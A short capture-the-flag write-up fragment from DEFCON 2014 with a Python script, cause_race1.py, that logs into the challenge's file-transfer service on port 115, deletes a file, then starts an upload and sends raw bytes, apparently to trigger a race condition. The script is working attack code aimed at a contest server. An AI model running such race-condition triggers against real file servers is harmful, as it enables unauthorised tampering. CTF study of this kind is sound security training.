DEFCON 2014 Writeup sftp

cause_race1.py

import time
import socket

def cause_race():
    tmp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #tmp.connect(('localhost', 115))
    tmp.connect(('sftp_bf28442aa4ab1a4089ddca16729b29ac.2014.shallweplayaga.me', 115))
    print tmp.recv(4096)
    tmp.send("PASS defcon2014\n")
    print tmp.recv(4096)
    tmp.send("KILL a\n")
    print tmp.recv(4096)
    tmp.send("STOR OLD a\n")
    print tmp.recv(4096)
    tmp.send("SIZE 46\n")
    print tmp.recv(4096)
    for i in range(46):
        tmp.sendall("\x2c")
    tmp.close()

cause_race()